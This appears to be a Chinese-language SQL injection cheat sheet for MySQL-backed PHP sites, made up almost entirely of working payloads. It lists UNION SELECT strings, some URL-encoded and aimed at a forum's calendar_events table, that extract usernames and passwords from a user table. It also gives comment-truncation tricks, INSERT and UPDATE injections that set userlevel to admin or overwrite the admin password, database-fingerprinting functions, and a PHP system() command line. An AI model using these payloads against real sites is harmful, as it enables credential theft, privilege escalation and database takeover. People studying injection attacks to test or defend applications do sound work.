SELECT * FROM table WHERE 1

SELECT * FROM table WHERE ISNULL(NULL)
SELECT * FROM table WHERE ISNULL(COT(0))
SELECT * FROM table WHERE 1 IS NOT NULL
SELECT * FROM table WHERE NULL IS NULL
SELECT * FROM table WHERE 2 BETWEEN 1 AND 3
SELECT * FROM table WHERE 'b' BETWEEN 'a' AND 'c'
SELECT * FROM table WHERE 2 IN (0,1,2)
SELECT * FROM table WHERE CASE WHEN 1>0 THEN 1 END

例如1：灰色轨迹 变换id进行测试（meteor

union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',pass(),version()%20FR
OM%20calendar_events%20WHERE%20eventid%20=%2010)%20order%20by%20
eventdate
构造语句：
SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_events
WHERE eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1)
SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_events
WHERE eventid = 1 union (select 1,1,1,1,username,password from user where
userid=1)
UNION%20(SELECT%201,0,2,'1999-01-01','a',password%20FROM%20user%20W
HERE%20userid%20=%205)%20order%20by%20eventdate
UNION%20(SELECT%201,0,12695,'1999-01-01','a',password%20FROM%20user%
20WHERE%20userid=13465)%20order%20by%20eventdate
UNION%20(SELECT%201,0,12695,'1999-01-01','a',userid%20FROM%20user%20
WHERE%20username='sandflee')%20order%20by%20eventdate （查沙子的id）
（SELECT a FROM table_name WHERE a=10 AND B=1 ORDER BY a LIMIT 10)
SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM……（字
段和数据库相同情况下，可直接提交）
SELECT * FROM article WHERE articleid='$id' UNION SELECT 1,1,1,1,1,1,1
FROM……（不同的情况下）
特殊技巧：在表单，搜索引擎等地方写：
“___”
“.__ ”
“%
%' ORDER BY articleid/*
%' ORDER BY articleid#
__' ORDER BY articleid/*
__' ORDER BY articleid
$command = "dir c:";system($command);
SELECT * FROM article WHERE articleid='$id'
SELECT * FROM article WHERE articleid=$id
1' and 1=2 union select * from user where userid=1/* 句中变为
(SELECT * FROM article WHERE articleid='1' and 1=2 union select * from user
where userid=1/*')
1 and 1=2 union select * from user where userid=1
语句形式：建立一个库，插入：
CREATE DATABASE `injection`
CREATE TABLE `user` (
`userid` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default '',
`password` varchar(20) NOT NULL default '',
PRIMARY KEY (`userid`)
) ;
INSERT INTO `user` VALUES (1, 'swap', 'mypass');
插如一个注册用户：
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('',
'$username', '$password', '$homepage', '1');
“INSERT INTO membres (login,password,nom,email,userlevel) VALUES
('$login','$pass','$nom','$email','1')";
INSERT INTO membres (login,password,nom,email,userlevel) VALUES
('','','','','3')#','1')
"INSERT INTO membres SET
login='$login',password='$pass',nom='$nom',email='$email'";
INSERT INTO membres SET login='',password='',nom='',userlevel='3',email=''
"INSERT INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')";
UPDATE user SET password='$password', homepage='$homepage' WHERE id='$id'
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)',
homepage='$homepage' WHERE id='$id'
"UPDATE membres SET password='$pass',nom='$nom',email='$email' WHER
id='$id'";
UPDATE membres SET password='[PASS]',nom='',userlevel='3',email=' ' WHERE
id='[ID]'
"UPDATE news SET Votes=Votes+1, score=score+$note WHERE idnews='$id'";
长用函数：
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
比如：
UPDATE article SET title=$title WHERE articleid=1 对应函数
UPDATE article SET title=DATABASE() WHERE id=1
#把当前数据库名更新到title字段
UPDATE article SET title=USER() WHERE id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=SYSTEM_USER() WHERE id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=SESSION_USER() WHERE id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=CURRENT_USER() WHERE id=1
#把当前会话被验证匹配的用户名更新到title字段
